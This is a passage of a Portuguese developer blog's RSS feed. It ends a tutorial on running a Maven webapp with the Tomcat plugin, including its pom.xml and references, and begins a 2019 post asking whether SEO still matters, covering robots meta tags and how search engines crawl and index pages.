    -DinteractiveMode=false&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Onde:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;-DgroupId&lt;/code&gt;: O &lt;em&gt;namespace&lt;/em&gt; utilizado para empacotamento&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;-DartifactId&lt;/code&gt;: O nome do projeto&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;-DarchetypeArtifactId&lt;/code&gt;: O nome do &quot;template&quot; usado como base para criar arquivos e diretórios&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;-DinteractiveMode&lt;/code&gt;: Desabilitar o modo interativo&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Uma porção de pacotes serão baixados. Sente e relaxe... aproveite para ver mais informações sobre &lt;a href=&quot;https://maven.apache.org/install.html&quot; title=&quot;Installing Apache Maven&quot;&gt;como instalar o &lt;em&gt;Maven&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ainda falta &quot;linkar&quot; o &lt;em&gt;Tomcat&lt;/em&gt; ao processo de &lt;em&gt;build&lt;/em&gt;. Entre no diretório &lt;code class=&quot;language-text&quot;&gt;ola-mundo&lt;/code&gt;, recém criado, e abra o arquivo &lt;code class=&quot;language-text&quot;&gt;pom.xml&lt;/code&gt; (&lt;em&gt;Project Object Model&lt;/em&gt;, arquivo utilizado pelo &lt;em&gt;Maven&lt;/em&gt;). Altere-o para ficar parecido com o exemplo abaixo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;xml&quot;&gt;&lt;pre class=&quot;language-xml&quot;&gt;&lt;code class=&quot;language-xml&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;project&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;xmlns&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;http://maven.apache.org/POM/4.0.0&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;xmlns:&lt;/span&gt;xsi&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;http://www.w3.org/2001/XMLSchema-instance&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;xsi:&lt;/span&gt;schemaLocation&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;modelVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;4.0.0&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;modelVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;groupId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;com.kplaube&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;groupId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;artifactId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;ola-mundo&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;artifactId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;packaging&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;war&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;packaging&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;1.0-SNAPSHOT&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;ola-mundo Maven Webapp&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;url&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;http://maven.apache.org&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;url&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;build&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;finalName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;ola-mundo&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;finalName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;plugins&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token comment&quot;&gt;&amp;lt;!-- Tomcat plugin --&gt;&lt;/span&gt;
            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;plugin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;groupId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;org.apache.tomcat.maven&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;groupId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;artifactId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;tomcat7-maven-plugin&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;artifactId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;2.2&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;configuration&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;/&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;webapps&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;webapp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;contextPath&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;/&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;contextPath&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;groupId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;com.kplaube&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;groupId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;artifactId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;ola-mundo&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;artifactId&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;1.0-SNAPSHOT&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;war&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;asWebapp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;true&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;asWebapp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;webapp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;webapps&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
                &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;configuration&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
            &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;plugin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
        &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;plugins&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;build&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;project&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;De volta à linha de comando:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ mvn tomcat7:run&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O &lt;em&gt;Maven&lt;/em&gt; &quot;baixará toda a &lt;em&gt;internet&lt;/em&gt;&quot; novamente. Ao final do processo, ao acessar o endereço &lt;code class=&quot;language-text&quot;&gt;http://localhost:8080&lt;/code&gt;, será possível ver a página com &lt;code class=&quot;language-text&quot;&gt;Hello World!&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/2493c89bb2b1c864386792a80ffd0531/6af66/tomcat-example-browser.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 65.625%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAtklEQVQoz2PwsLB38jNTN7OxsPN3DUhy80+ydo0wsw8ydwy2dou0dAw0snDWN3XAihg8vMIs7T3MbH1cPMKt7HxtnQIc3UIt7fyMLdz1TZz0TZ31TJx1jZ2wIoZpM+dPnDxr+sz5k6bMnjV38YYtOzds3rF+044167euXrcFP2J4/vzZo0cP3717e+/unc+fPv0HgX//iQMMyJx///79+fuXeMTwDwb+/v37n0TA8J8CMKqZnpoBjziYr4QhBqsAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Exemplo de acesso ao Tomcat via browser&quot;
        title=&quot;Exemplo de acesso ao Tomcat via browser&quot;
        src=&quot;/static/2493c89bb2b1c864386792a80ffd0531/6af66/tomcat-example-browser.png&quot;
        srcset=&quot;/static/2493c89bb2b1c864386792a80ffd0531/8514f/tomcat-example-browser.png 192w,
/static/2493c89bb2b1c864386792a80ffd0531/804b2/tomcat-example-browser.png 384w,
/static/2493c89bb2b1c864386792a80ffd0531/6af66/tomcat-example-browser.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de acesso ao Tomcat via browser&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&quot;Só&quot; precisou de um &lt;em&gt;post&lt;/em&gt; inteiro para chegarmos até aqui. Sucesso!&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Um monte de mágica aconteceu, e você (assim como eu no meu cotidiano) terá que confiar que as coisas simplesmente estão funcionando.&lt;/p&gt;
&lt;p&gt;Por enquanto, vamos abstrair os detalhes do &lt;em&gt;Maven&lt;/em&gt;. Corremos um pouco aqui no final para ter algo prático como exemplo, mas com certeza abordaremos a ferramenta com frequência nos próximos &lt;em&gt;posts&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Por hora, é preciso &quot;aceitar&quot; que com o uso do &lt;code class=&quot;language-text&quot;&gt;tomcat7-maven-plugin&lt;/code&gt; ganhamos o utilitário de linha de comando &lt;code class=&quot;language-text&quot;&gt;tomcat7:run&lt;/code&gt;, do qual empacota e executa a aplicação. E embora tenhamos investido parágrafos falando de &lt;em&gt;Java EE&lt;/em&gt;, e posteriormente de &lt;em&gt;Tomcat&lt;/em&gt;, na prática nota-se que pouco precisamos nos importar com isso para ter um &quot;hello world&quot; &lt;em&gt;up and runnig&lt;/em&gt; com &quot;investimento modesto&quot;.&lt;/p&gt;
&lt;p&gt;No próximo artigo partiremos enfim para os &lt;em&gt;Servlets&lt;/em&gt; e &lt;em&gt;Java ServerPages&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Até lá!&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.caelum.com.br/apostila-java-web/o-que-e-java-ee/&quot;&gt;Caelum: Apostila Java para Desenvolvimento Web - O que é Java EE?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.javatpoint.com/difference-between-jdk-jre-and-jvm&quot;&gt;JavaTPoint: Difference between JDK, JRE, and JVM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.oracle.com/javaee/6/firstcup/doc/gkhoy.html&quot;&gt;Oracle.com: Differences between Java EE and Java SE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://spsarolkar.github.io/esp8266/2018/03/18/Run-webapplications-using-tomcat-maven-plugin.html&quot;&gt;spsarolkar.github.io: Running web applications with tomcat maven plugin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/1900673/can-javase-be-used-to-write-a-web-application#1900693&quot;&gt;StackOverflow: Can JavaSE be used to write a web application?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/2857376/difference-between-java-se-ee-me&quot;&gt;StackOverflow: Difference between Java SE/EE/ME?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Java_%28programming_language%29&quot;&gt;Wikipedia: Java&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Apache_Maven&quot;&gt;Wikipedia: Maven&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Apache_Tomcat&quot;&gt;Wikipedia: Tomcat&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[SEO ainda é relevante?]]></title><description><![CDATA[Se há uma constante em desenvolvimento de software é o hype. Hoje vivemos o buzz
ao redor de microservices, machine learning e blockchain…]]></description><link>https://klauslaube.com.br/2019/08/20/seo-ainda-e-relevante.html</link><guid isPermaLink="false">https://klauslaube.com.br/2019/08/20/seo-ainda-e-relevante.html</guid><pubDate>Tue, 20 Aug 2019 16:05:00 GMT</pubDate><content:encoded>&lt;p&gt;Se há uma constante em desenvolvimento de &lt;em&gt;software&lt;/em&gt; é o &lt;a href=&quot;https://www.significados.com.br/hype/&quot; title=&quot;Significado de hype&quot;&gt;&lt;em&gt;hype&lt;/em&gt;&lt;/a&gt;. Hoje vivemos o &lt;em&gt;buzz&lt;/em&gt;
ao redor de &lt;em&gt;microservices&lt;/em&gt;, &lt;em&gt;machine learning&lt;/em&gt; e &lt;em&gt;blockchain&lt;/em&gt;. Mas há algum tempo um dos &lt;em&gt;hypes&lt;/em&gt; que varreu o mundo do desenvolvimento &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt; foi o &lt;em&gt;SEO&lt;/em&gt; (ou &lt;em&gt;Search Engine Optimization&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Quem aqui nunca fez um freela de &quot;otimização para mecanismos de buscas&quot; que atire a primeira pedra.&lt;/p&gt;
&lt;h2&gt;Eu (ainda) preciso me importar com SEO?&lt;/h2&gt;
&lt;p&gt;Essa pergunta tem rondado a minha cabeça nos últimos meses...&lt;/p&gt;
&lt;p&gt;(Infelizmente) tenho me distanciado cada vez mais do desenvolvimento utilizando &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;, e portanto, a oportunidade de escrever sobre a linguagem tem diminuído consideravelmente. Logo, o título da página inicial &quot;Python, Django e desenvolvimento&quot; começa a perder o sentido.&lt;/p&gt;
&lt;p&gt;Você pode me sugerir: É só colocar uma &lt;em&gt;metatag&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;robots&lt;/code&gt; com &lt;code class=&quot;language-text&quot;&gt;noindex,follow&lt;/code&gt;, e &lt;a href=&quot;http://dan-nolan.com/what-is-noindex/&quot; title=&quot;What is noindex / follow?&quot;&gt;fazer com que os robôs indexem apenas as páginas de artigos&lt;/a&gt;; E aí vem a minha pergunta: Em 2019, ainda precisamos dizer para os mecanismos de busca como eles devem se comportar?&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Long story short&lt;/em&gt;: Sim.&lt;/p&gt;
&lt;h2&gt;Recapitulando: SEO - Search Engine Optimization&lt;/h2&gt;
&lt;p&gt;Fui na segunda página dos resultados de busca do &lt;a href=&quot;https://duckduckgo.com/&quot; title=&quot;The search engine that doesn&amp;#x27;t track you&quot;&gt;DuckDuckGo&lt;/a&gt; para achar uma &lt;a href=&quot;https://resultadosdigitais.com.br/especiais/o-que-e-seo/&quot; title=&quot;Tudo sobre Search Engine Optimization&quot;&gt;boa definição de &lt;em&gt;SEO&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Como a própria tradução já sugere, SEO é uma otimização para os motores de busca, isto é, um conjunto de técnicas que influenciam os algoritmos dos buscadores a definir o ranking de uma página para determinada palavra-chave que foi pesquisada.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Os sites de buscas (como &lt;em&gt;Google&lt;/em&gt;), de forma bem genérica, utilizam um processo composto por três passos:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Rastreamento: Onde o robô identifica e prioriza as páginas que devem ser indexadas;&lt;/li&gt;
&lt;li&gt;Indexação: São armazenadas informações como conteúdo da página, data de publicação, região da publicação, título, descrição, etc;&lt;/li&gt;
&lt;li&gt;Exibição de resultados: A consulta realizada pelo usuário, sendo que o resultado é alterado de acordo com a relevância da busca.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/e7d3f76016d9217d81d9d9c835eb6a81/07f3a/seo-crawlers.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
